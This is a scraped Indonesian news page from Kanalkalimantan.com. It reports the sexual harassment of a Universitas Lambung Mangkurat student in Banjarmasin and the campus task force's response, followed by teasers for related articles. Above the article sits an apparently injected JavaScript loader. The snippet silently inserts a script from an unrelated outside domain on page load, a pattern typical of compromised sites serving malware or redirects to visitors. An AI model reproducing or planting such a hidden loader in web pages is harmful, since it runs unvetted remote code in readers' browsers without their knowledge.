(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Salah satu mahasiswi Universitas Lambung Mangkurat (ULM) mengalami pelecehan seksual yang dilakukan oleh orang tidak dikenal.
Sebagaimana informasi yang kanalkalimantan dapatkan, kejadian pelecehan tersebut terjadi pada Senin (12/9/2022) di sekitar jalan Cendana, Kelurahan Sungai Miai Kota Banjarmasin.
Kekerasan seksual yang dialami salah atau mahasiswi ULM tersebut diketahui saat korban melaporkan kejadian tersebut kepada satgas Pencegahan dan Penanganan Kekerasan Seksual (PPKS) ULM.
Satgas PPKS ULM Lena Hanifa yang juga merupakan dosen Fakultas Hukum ULM mengungkapkan kronologi kejadian pelecehan seksual yang dialami mahasiswi tersebut.
Baca juga : Kecewa Hasil RDP DPRD Kalsel, BEM Se-Kalsel Gelar Aksi Lanjutan Besok
Peristiwa terjadi saat korban sedang berjalan kaki di jalan Cendana saat kondisi sekitar sedang sepi.
“Dari pengakuan korban pada saat kejadian menceritakan sedang berjalan kaki sendirian di tempat tersebut, sambil memegang payung saat hujan dan sedang sepi. Tiba-tiba dari arah belakang, seorang laki-laki yang tidak dikenali oleh korban dengan mengendarai sepeda motor menyentuh bagian sensitif korban,” katanya.
Adapun identitas pelaku, Lena mengatakan korban tersebut tidak dapat mengenali dan hanya bisa mengingat ciri-ciri fisiknya dan pelaku langsung kabur ke arah Kayu Tangi.
“Karena si korban saat itu syok, sehingga dia pun tidak bisa mengingat ciri-ciri pelaku. Bahkan jenis kendaraan yang dipakai pelakupun dia tidak ingat. Hanya yang diingat, pelaku menggunakan helm dan dari postur badan pelaku berusia 30 tahun,” katanya.
Baca juga : Plt Bupati Husairi Respons Positif Pemantauan dan Evaluasi Kinerja Layanan Publik
Sesuai mendapatkan laporan dari korban, Tim PPKS ULM mengajak si korban bertemu untuk menceritakan kronologi kejadian pelecehan tersebut.
“Ketika mendapatkan laporan, kami langsung melakukan pendampingan dan mendengarkan keterangan korban, lalu mengakomodasikan apa yang diperlukan si korban,” katanya.
Sementara itu salah satu masyarakat yang sering lewat jalan tersebut mengatakan bahwa ditempat tersebut memang sering terjadi pelecehan seksual saat suasana sedang sepi.
“Disekitar cendana-sungai Miai memang sering terjadi, kalau korban mau buka suara banyak kasus itu, semoga bisa segera ditindak,” ungkapnya.
Walaupun korban masih pikir-pikir untuk melaporkan peristiwa tersebut kepada pihak berwajib, Satgas PPKS ULM juga akan segera melakukan kordinasi dengan Lembaga Bantuan Hukum (LBH) ULM dan akan segera audiensi pihak kepolisian setempat terkait kejadian tersebut. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : cell
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
This website uses cookies.